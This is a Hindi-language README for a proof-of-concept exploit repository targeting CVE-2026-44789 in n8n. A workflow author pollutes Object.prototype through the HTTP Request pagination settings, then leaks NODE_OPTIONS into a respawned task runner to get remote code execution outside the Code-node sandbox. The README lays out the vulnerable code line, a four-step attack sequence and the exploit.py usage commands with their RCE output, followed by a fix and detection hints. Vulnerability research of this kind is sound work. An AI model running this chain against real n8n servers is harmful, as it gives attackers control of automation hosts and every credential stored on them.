CVE-2026-44789 — n8n <1.123.43 HTTP अनुरोध पेजिनेशन prototype pollution से RCE (NODE_OPTIONS runner-spawn gadget)। प्रयोगशाला + स्वचालित PoC, सत्यापित e2e।
एक प्रमाणित n8n
< 1.123.43वर्कफ़्लो निर्माता n8n सर्वर प्रक्रिया में HTTP अनुरोध नोड की पेजिनेशन सेटिंग्स के माध्यम सेObject.prototypeको प्रदूषित करता है, फिर n8n के टास्क रनर को स्पॉन करने के तरीके का दुरुपयोग करके रिमोट कोड निष्पादन तक बढ़ जाता है — एक प्रदूषितNODE_OPTIONSको चाइल्डnodeप्रक्रिया में लीक करके और कोड-नोड सैंडबॉक्स को बायपास करता है।
| CVE | CVE-2026-44789 |
| परामर्श | GHSA-c8xv-5998-g76h |
| प्रभावित | < 1.123.43, 2.0.0-rc.0 … < 2.20.7, 2.21.0 … < 2.22.1 |
| ठीक किया | 1.123.43 / 2.20.7 / 2.22.1 |
| वर्ग | CWE-1321 (प्रोटोटाइप प्रदूषण) → CWE-94 (RCE) |
| CVSS | 9.4 (CVSS 4.0) / गंभीर |
| प्रमाणीकरण | प्रमाणित (वर्कफ़्लो बनाने/संशोधित करने की अनुमति) |
| स्थिति | पुष्टि — पूर्ण श्रृंखला n8nio/n8n:1.123.42 के विरुद्ध अंत-से-अंत तक पुनरुत्पादित |
सार्वजनिक परामर्श केवल यह बताता है कि प्रदूषण "अन्य तकनीकों के साथ संयुक्त होकर RCE का कारण बन सकता है" — यह कोई गैजेट प्रकट नहीं करता। यह रिपॉजिटरी एक ठोस, सत्यापित प्रोटोटाइप-प्रदूषण→RCE श्रृंखला का दस्तावेजीकरण और स्वचालन करता है।
packages/nodes-base/nodes/HttpRequest/V3/HttpRequestV3.node.ts, पेजिनेशन मोड updateAParameterInEachRequest:
paginationData.request[parameter.type]![parameterName] = parameterValue;
parameter.type, parameterName और parameterValue सभी वर्कफ़्लो JSON (हमलावर-नियंत्रित) से आते हैं। parameter.type = "__proto__" के साथ, paginationData.request["__proto__"] Object.prototype पर हल होता है, इसलिए असाइनमेंट Object.prototype[parameterName] = parameterValue लिखता है — n8n सर्वर प्रक्रिया में एक वैश्विक प्रोटोटाइप प्रदूषण।
फिक्स paginationData.request के लिए Object.create(null) का उपयोग करता है, इसलिए ["__proto__"] प्रोटोटाइप के बजाय एक सामान्य (नल-प्रोटो) कुंजी है।
packages/cli/src/task-runners/task-runner-process-js.ts JS टास्क रनर को स्पॉन करता है:
return spawn('node', [...flags, startScript], { env: this.getProcessEnvVars(...) });
Node का normalizeSpawnArguments चाइल्ड एनवायरनमेंट को for (const key in env) के साथ बनाता है, जो विरासत में मिले गणनीय गुणों की गणना करता है। इसलिए Object.prototype.NODE_OPTIONS = "--require=/path/evil.js" को प्रदूषित करना स्पॉन किए गए रनर के एनवायरनमेंट में लीक हो जाता है। चाइल्ड node है, जो NODE_OPTIONS का सम्मान करता है, इसलिए यह स्टार्टअप पर हमलावर की फ़ाइल को --require करता है → n8n सेवा उपयोगकर्ता के रूप में कोड-नोड सैंडबॉक्स के बाहर कोड निष्पादन।
रनर स्टार्टअप पर लॉन्च किया जाता है, लेकिन इसका जीवनचक्र जब भी प्रक्रिया बाहर निकलती है, इसे फिर से स्पॉन करता है (onProcessExit → start())। हमलावर रनर को कोड नोड से हैंग करके (टास्क-टाइमआउट / OOM इसे मारता है) प्रदूषण के बाद एक रीस्पॉन मजबूर करता है।
exploit.py क्या करता है)1. write /tmp/evil.js via Set → Convert to File → Read/Write Files nodes
2. hang the task runner via a Code node ( while(true){} ) [BEFORE polluting]
3. pollute Object.prototype.NODE_OPTIONS via the HTTP Request node ( type="__proto__" )
4. the hung runner times out → main process respawns 'node' → inherits NODE_OPTIONS
→ require('/tmp/evil.js') → RCE
क्रम मायने रखता है: प्रदूषण NODE_OPTIONS को Object.prototype पर एक गणनीय स्व-रहित कुंजी बनाता है, जिस पर n8n का TypeORM स्तर ठोकर खाता है (संस्थाओं पर for…in), वर्कफ़्लो स्थिरता को तोड़ देता है। इसलिए रनर को प्रदूषण उतरने से पहले पहले से ही हैंग होना चाहिए; रीस्पॉन फिर प्रदूषित वातावरण को उठाता है।
कॉन्फ़िगरेशन स्कोप (पहले पढ़ें)। प्रोटोटाइप-प्रदूषण प्रिमिटिव किसी भी प्रभावित संस्करण पर बिना किसी कॉन्फ़िगरेशन परिवर्तन के फायर करता है। RCE गैजेट को टास्क रनर की आवश्यकता है, जो प्रति शाखा अलग-अलग तरीके से पहुंचा जाता है:
- n8n 2.x प्रभावित (2.0.0–2.20.6, 2.21.0–2.22.0): टास्क रनर डिफ़ॉल्ट/अनिवार्य हैं (
N8N_RUNNERS_ENABLEDको हटा दिया गया है →SAFE_TO_REMOVE), इसलिए पूर्ण RCE श्रृंखला डिफ़ॉल्ट कॉन्फ़िगरेशन में है।- n8n 1.123.x प्रभावित (यह लैब इमेज): टास्क रनर डिफ़ॉल्ट रूप से बंद हैं, इसलिए लैब 2.x डिफ़ॉल्ट को दर्पण करने के लिए
N8N_RUNNERS_ENABLED=trueसेट करता है।N8N_RUNNERS_TASK_TIMEOUTको केवल हैंग-रनर रीस्पॉन को तेज़ी से फायर करने के लिए कम किया गया है — यह बग के लिए आवश्यक नहीं है।
docker compose -f lab/docker-compose.yml up -d # n8nio/n8n:1.123.42, runners enabled to mirror 2.x
python3 exploit.py http://127.0.0.1:5678 -c "id; hostname"
# command output appears on the n8n host:
docker compose -f lab/docker-compose.yml exec n8n cat /tmp/n8n_rce_proof
# RCE uid=1000(node) gid=1000(node) groups=1000(node)
# <hostname>
exploit.py केवल Python मानक पुस्तकालय का उपयोग करता है और n8n REST API को अंत-से-अंत (मालिक सेटअप/लॉगिन → वर्कफ़्लो तैनात करें → श्रृंखला फायर करें) चलाता है।
देखा गया:
[*] step 1: wrote --require payload to /tmp/evil.js (via Read/Write Files node)
[*] step 2: dispatched a hanging task -> runner is now busy
[*] step 3: polluted Object.prototype.NODE_OPTIONS = --require=/tmp/evil.js
[*] waiting for the hung runner to time out, be respawned, and inherit NODE_OPTIONS ...
RCE uid=1000(node) gid=1000(node) groups=1000(node),1000(node)
uid=1000(node) रनर का सेवा खाता है और आउटपुट लाइव id/uname स्थिति है — वास्तविक निष्पादन, इनपुट प्रतिध्वनि नहीं।
कोई भी प्रमाणित उपयोगकर्ता जो वर्कफ़्लो बना या संशोधित कर सकता है, n8n होस्ट पर OS कमांड निष्पादन प्राप्त करता है, कोड-नोड सैंडबॉक्स से बचकर — ऑटोमेशन सर्वर और उस तक पहुंचने वाले प्रत्येक क्रेडेंशियल/सिस्टम का पूर्ण समझौता।
Object.create(null) के साथ बनाया गया है, जो __proto__ लेखन को मारता है)।--disable-proto=delete / --disallow-code-generation-from-strings के साथ कठोर किया गया है, लेकिन वे रनर की रक्षा करते हैं, न कि मुख्य प्रक्रिया की जहाँ प्रदूषण उतरता है।उन वर्कफ़्लो को चिह्नित करें जिनके HTTP अनुरोध पेजिनेशन पैरामीटर __proto__ / constructor / prototype के type मानों का उपयोग करते हैं, और n8n/TypeORM लॉग में NODE_OPTIONS एक एंटिटी प्रॉपर्टी त्रुटि के रूप में दिखाई देता है।
प्रिमिटिव, Node for…in env व्यवहार, रनर जीवनचक्र और पैच के लिए ANALYSIS.md देखें।